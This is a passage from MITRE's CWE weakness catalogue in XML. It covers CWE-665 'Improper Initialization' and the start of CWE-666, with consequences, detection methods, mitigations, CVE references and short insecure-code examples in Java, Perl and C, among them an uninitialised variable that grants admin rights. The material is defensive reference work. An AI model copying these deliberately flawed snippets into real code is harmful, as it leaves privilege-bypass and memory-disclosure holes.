					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Control of a
						Resource Through its Lifetime</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="665" Name="Improper Initialization" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not initialize or incorrectly initializes a
					resource, which might leave the resource in an unexpected state when it is
					accessed or used.</Description_Summary>
				        <Extended_Description>
					          <Text>This can have security implications when the associated resource is
						expected to have certain properties or values, such as a variable that
						determines whether a user has been authenticated or not.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>846</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This weakness can occur in code paths that are not well-tested, such as
						rare error conditions. This is because the use of uninitialized data would
						be noticed as a bug during frequently-used functionality.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When reusing a resource such as memory or a program variable, the
							original contents of that resource may not be cleared before it is sent
							to an untrusted party.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If security-critical decisions rely on a variable having a "0" or
							equivalent value, and the programming language performs this
							initialization on behalf of the programmer, then a bypass of security
							may occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The uninitialized data may contain values that cause program flow to
							change in ways that the programmer did not intend. For example, if an
							uninitialized variable is used as an array index in C, then its previous
							contents may produce an index that is outside the range of the array,
							possibly causing a crash or an exit in other environments.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
						            <Text>Initialization problems may be detected with a stress-test by calling
							the software simultaneously from a large number of threads or processes,
							and look for evidence of any unexpected behavior. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-12">
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Identify error conditions that are not likely to occur during normal
							usage and trigger them. For example, run the program under low memory
							conditions, run with insufficient privileges or permissions, interrupt a
							transaction before it is completed, or disable connectivity to basic
							network services such as DNS. Monitor the software for any unexpected
							behavior. If you trigger an unhandled exception or similar error that
							was discovered and handled by the application's environment, it may
							still indicate unexpected conditions that were not handled by the
							application itself.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, in Java, if the programmer does not explicitly initialize
							a variable, then the code could produce a compile-time error (if the
							variable is local) or automatically initialize the variable to the
							default value for the variable's type. In Perl, if explicit
							initialization is not performed, then a default value of undef is
							assigned, which is interpreted as 0, false, or an equivalent value
							depending on the context in which the variable is accessed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify all variables and data stores that receive information from
							external sources, and apply input validation to make sure that they are
							only initialized to expected values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Explicitly initialize all your variables and other data stores, either
							during declaration or just before the first usage.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Pay close attention to complex conditionals that affect
							initialization, since some conditions might not perform the
							initialization.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid race conditions (CWE-362) during initialization routines.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Run or compile your software with settings that generate warnings
							about uninitialized variables or data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here, a boolean initiailized field is consulted to ensure that
						initialization tasks are only completed once. However, the field is
						mistakenly set to true during static initialization, so the initialization
						code is never reached.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private boolean initialized = true;</Code>
							              <Code>public void someMethod() {</Code>
							              <Block>
								                <Code>if (!initialized) {</Code>
								                <Block>
									                  <Comment>// perform initialization tasks</Comment>
									                  <Code>...</Code>
									                  <Code/>
									                  <Code>initialized = true;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-54">
					          <Intro_Text>The following code intends to limit certain operations to the
						administrator only.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$username = GetCurrentUser();</Code>
							              <Code>$state = GetStateData($username);</Code>
							              <Code>if (defined($state)) {</Code>
							              <Block>
								                <Code>$uid = ExtractUserID($state);</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment># do stuff</Comment>
							              <Code>if ($uid == 0) {</Code>
							              <Block>
								                <Code>DoAdminThings();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the application is unable to extract the state information - say,
							due to a database timeout - then the $uid variable will not be
							explicitly set by the programmer. This will cause $uid to be regarded as
							equivalent to "0" in the conditional, allowing the original user to
							perform administrator actions. Even if the attacker cannot directly
							influence the state data, unexpected errors could cause incorrect
							privileges to be assigned to a user just by accident.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code intends to concatenate a string to a variable and
						print the string.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char str[20];</Code>
							              <Code>strcat(str, "hello world");</Code>
							              <Code>printf("%s", str);</Code>
						            </Block>
						            <Text>This might seem innocent enough, but str was not initialized, so it
							contains random memory. As a result, str[0] might not contain the null
							terminator, so the copy might start at an offset other than 0. The
							consequences can vary, depending on the underlying memory.</Text>
						            <Text>If a null terminator is found before str[8], then some bytes of random
							garbage will be printed before the "hello world" string. The memory
							might contain sensitive information from previous uses, such as a
							password (which might occur as a result of CWE-14 or CWE-244). In this
							example, it might not be a big deal, but consider what could happen if
							large amounts of memory are printed out before the null terminator is
							found.</Text>
						            <Text>If a null terminator isn't found before str[8], then a buffer overflow
							could occur, since strcat will first look for the null terminator, then
							copy 12 bytes starting with that location. Alternately, a buffer
							over-read might occur (CWE-126) if a null terminator isn't found before
							the end of the memory segment is reached, leading to a segmentation
							fault and crash.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1471</Observed_Example_Reference>
					          <Observed_Example_Description>chain: an invalid value prevents a library file
						from being included, skipping initialization of key variables, leading to
						resultant eval injection.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3637</Observed_Example_Reference>
					          <Observed_Example_Description>Improper error checking in protection mechanism
						produces an uninitialized variable, allowing security bypass and code
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4197</Observed_Example_Reference>
					          <Observed_Example_Description>Use of uninitialized memory may allow code
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2934</Observed_Example_Reference>
					          <Observed_Example_Description>Free of an uninitialized pointer leads to crash
						and possible code execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3749</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel does not reset a port when starting a
						setuid program, allowing local users to access the port and gain
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0063</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not clear memory contents when
						generating an error message, leading to information
						leak.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0062</Observed_Example_Reference>
					          <Observed_Example_Description>Lack of initialization triggers NULL pointer
						dereference or double-free.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0081</Observed_Example_Reference>
					          <Observed_Example_Description>Uninitialized variable leads to code execution in
						popular desktop application.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3688</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Uninitialized variable leads to infinite
						loop.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3475</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Improper initialization leads to memory
						corruption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5021</Observed_Example_Reference>
					          <Observed_Example_Description>Composite: race condition allows attacker to
						modify an object while it is still being initialized, causing software to
						access uninitialized memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1036</Observed_Example_Reference>
					          <Observed_Example_Description>Permission bitmap is not properly initialized,
						leading to resultant privilege elevation or
						DoS.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3597</Observed_Example_Reference>
					          <Observed_Example_Description>chain: game server can access player data
						structures before initialization has happened leading to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2692</Observed_Example_Reference>
					          <Observed_Example_Description>chain: uninitialized function pointers can be
						dereferenced allowing code execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0949</Observed_Example_Reference>
					          <Observed_Example_Description>chain: improper initialization of memory can lead
						to NULL dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3620</Observed_Example_Reference>
					          <Observed_Example_Description>chain: some unprivileged ioctls do not verify that
						a structure has been initialized before invocation, leading to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>mercy</Reference_Author>
					          <Reference_Title>Exploiting Uninitialized Data</Reference_Title>
					          <Reference_PubDate>Jan 2006</Reference_PubDate>
					          <Reference_Link>
						http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft Security Vulnerability Research &amp;
						Defense</Reference_Author>
					          <Reference_Title>MS08-014 : The Case of the Uninitialized Stack Variable
						Vulnerability</Reference_Title>
					          <Reference_Date>2008-03-11</Reference_Date>
					          <Reference_Link>http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Variable Initialization", Page
						312.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incorrect initialization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Explicitly specify array bounds, even if implicitly defined by
						an initializer</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not assume memory allocation routines initialize
						memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM09-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Prevent class initialization cycles</Mapped_Node_Name>
					          <Mapped_Node_ID>DCL00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Explicitly specify array bounds, even if implicitly defined by
						an initializer</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume memory allocation routines initialize
						memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM09-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>172</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Likelihood_of_Exploit, Modes_of_Introduction, Name,
						Observed_Examples, Potential_Mitigations, References, Relationships,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Incorrect or Incomplete
						Initialization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="666" Name="Operation on Resource in Wrong Phase of Lifetime" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software performs an operation on a resource at the wrong
					phase of the resource's lifecycle, which can lead to unexpected
					behaviors.</Description_Summary>
				        <Extended_Description>
					          <Text>When a developer wants to initialize, use or release a resource, it is
						important to follow the specifications outlined for how to operate on that
						resource and to ensure that the resource is in the expected state. In this
						case, the software wants to perform a normally valid operation,
						initialization, use or release, on a resource when it is in the incorrect
						phase of its lifetime.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Follow the resource's lifecycle from creation to release.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
